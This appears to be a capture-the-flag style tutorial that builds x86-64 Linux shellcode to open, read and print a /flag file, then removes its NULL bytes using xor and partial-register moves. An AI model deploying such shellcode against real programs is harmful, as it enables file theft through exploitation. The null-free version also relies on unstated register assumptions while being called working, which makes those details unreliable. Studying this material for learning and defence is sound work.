a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability, I am going to show you how you can write shellcode without any NULL bytes in it.

let’s start writing normal shellcode that does 3 syscalls read, write and open.

I am going to use one of my favorite Ryan A. Chapman syscall tables mentioned on his website.

let’s assume I have one file on my root dir called to flag that contains some useful information as per read that file information.

first, I am going to write an open syscall that helps us to open our file,

Untitled

here as per the syscall table we are using 3 registers rdi register that helps us to pass a filename, we are also using rsi, and RDX as per shown in syscall table. it also comes in handy if you use man open helps you to understand how actually to open syscall works.

        mov rsi, 0
        lea rdi, [rip+file]  
        mov rax, 2
        syscalls

keep in mind for passing syscall number we are going to use rax register.

Untitled

now let’s build a read syscall and here we are going to use the rdi register for The file descriptor FD, if you read the syscall manual page you can understand how it works, in our case int fd is inside the rax register. rdi register going to rsp because previously we load file name inside the memory so now rsp points to our actual flag location, the RDX register indicates the size of the buffer we are reading from the file. and at the end, we load read syscall no into the rax register.

        mov rdi, rax
        mov rsi, rsp
        mov rdx, 100
        mov rax, 0
        syscall

so we already built our two main syscalls they open and read our file that is present in our root dir now we add one last syscall that writes our file contains so we can read what is inside the file.

Untitled

here we are going to use write syscall all register value is as per mention in precious two syscalls,

        mov rdi, 1
        mov rsi, rsp
        mov rdx, rax
        mov rax, 1
        syscall

now let’s write all syscall together and create beautiful assembly code that open, read and write our file contain


.global _start
.intel_syntax noprefix
_start:

        mov rsi, 0
        lea rdi, [rip+file]
        mov rax, 2
        syscall

        mov rdi, rax
        mov rsi, rsp
        mov rdx, 100
        mov rax, 0
        syscall

        mov rdi, 1
        mov rsi, rsp
        mov rdx, rax
        mov rax, 1
        syscall

        mov rax, 60
        mov rdi, 42
        syscall

file:
        .ascii "/flag\0"

you can see in the assembly code I all add exit syscall at the end, one more thing that is necessary to notice is I add \0 in and of our filename, it becomes our lea rdi, [rip+file] instruction stop reading at null byte.

now let’s compile our assembly code and see it is having any null byte or not. i am going to use the following command to compile our shellcode.s file.

gcc -Wl,-N --static -nostdlib -o shellcode.elf shellcode.s
objcopy --dump-section .text=shellcode.bin shellcode.elf

and here i am going to use objdump to see it is having any null byte or not,

objdump -M intel -d shellcode.elf

shellcode.elf:     file format elf64-x86-64
Disassembly of section .text:

00000000004000d4 <_start>:
  4000d4:	48 c7 c6 00 00 00 00 	mov    rsi,0x0
  4000db:	48 8d 3d 45 00 00 00 	lea    rdi,[rip+0x45]        # 400127 <flag>
  4000e2:	48 c7 c0 02 00 00 00 	mov    rax,0x2
  4000e9:	0f 05                	syscall
  4000eb:	48 89 c7             	mov    rdi,rax
  4000ee:	48 89 e6             	mov    rsi,rsp
  4000f1:	48 c7 c2 64 00 00 00 	mov    rdx,0x64
  4000f8:	48 c7 c0 00 00 00 00 	mov    rax,0x0
  4000ff:	0f 05                	syscall
  400101:	48 c7 c7 01 00 00 00 	mov    rdi,0x1
  400108:	48 89 e6             	mov    rsi,rsp
  40010b:	48 89 c2             	mov    rdx,rax
  40010e:	48 c7 c0 01 00 00 00 	mov    rax,0x1
  400115:	0f 05                	syscall
  400117:	48 c7 c0 3c 00 00 00 	mov    rax,0x3c
  40011e:	48 c7 c7 2a 00 00 00 	mov    rdi,0x2a
  400125:	0f 05                	syscall

0000000000400127 <flag>:
  400127:	2f                   	(bad)  
  400128:	66 6c                	data16 ins BYTE PTR es:[rdi],dx
  40012a:	61                   	(bad)  
  40012b:	67                   	addr32
	...

so you can see there are so many null bytes present in our shellcode, so let again divide our shellcode into 3 parts as per syscall and try to remove those null bytes from the shellcode.

# open syscall
; With Null Byte
  4000d4:	48 c7 c6 00 00 00 00 	mov    rsi,0x0
  4000db:	48 8d 3d 45 00 00 00 	lea    rdi,[rip+0x45]        # 400127 <flag>
  4000e2:	48 c7 c0 02 00 00 00 	mov    rax,0x2
  4000e9:	0f 05                	syscall

;without null byte
	4000d4:	48 31 f6             	xor    rsi,rsi
  4000d7:	c6 04 24 2f          	mov    BYTE PTR [rsp],0x2f
  4000db:	c6 44 24 01 66       	mov    BYTE PTR [rsp+0x1],0x66
  4000e0:	c6 44 24 02 6c       	mov    BYTE PTR [rsp+0x2],0x6c
  4000e5:	c6 44 24 03 61       	mov    BYTE PTR [rsp+0x3],0x61
  4000ea:	c6 44 24 04 67       	mov    BYTE PTR [rsp+0x4],0x67
  4000ef:	30 c9                	xor    cl,cl
  4000f1:	88 4c 24 05          	mov    BYTE PTR [rsp+0x5],cl
  4000f5:	48 89 e7             	mov    rdi,rsp
  4000f8:	b0 02                	mov    al,0x2
  4000fa:	0f 05                	syscall

for removing null byte i use xor instruction, also you can see that if you dirctly add mov BYTE PTR [rsp+0x5], '\0' you endup with NULL byte in your shellcode so for that i xor cl register and mov that xor value into [rsp+5] ,

# Read Syscall
;with Null Byte
	4000eb:	48 89 c7             	mov    rdi,rax
  4000ee:	48 89 e6             	mov    rsi,rsp
  4000f1:	48 c7 c2 64 00 00 00 	mov    rdx,0x64
  4000f8:	48 c7 c0 00 00 00 00 	mov    rax,0x0
  4000ff:	0f 05                	syscall

;Without Null Byte
	4000fc:	48 89 c7             	mov    rdi,rax
  4000ff:	48 89 e6             	mov    rsi,rsp
  400102:	b2 64                	mov    dl,0x64
  400104:	48 31 c0             	xor    rax,rax
  400107:	0f 05                	syscall

# Write Syscall
;with Null Byte
	400101:	48 c7 c7 01 00 00 00 	mov    rdi,0x1
  400108:	48 89 e6             	mov    rsi,rsp
  40010b:	48 89 c2             	mov    rdx,rax
  40010e:	48 c7 c0 01 00 00 00 	mov    rax,0x1
  400115:	0f 05                	syscall

;without Null Byte
	400109:	40 b7 01             	mov    dil,0x1
  40010c:	48 89 e6             	mov    rsi,rsp
  40010f:	48 89 c2             	mov    rdx,rax
  400112:	48 31 c0             	xor    rax,rax
  400115:	b0 01                	mov    al,0x1
  400117:	0f 05                	syscall

You can see we remove all null bytes from the shellcode and its works perfectly.

Untitled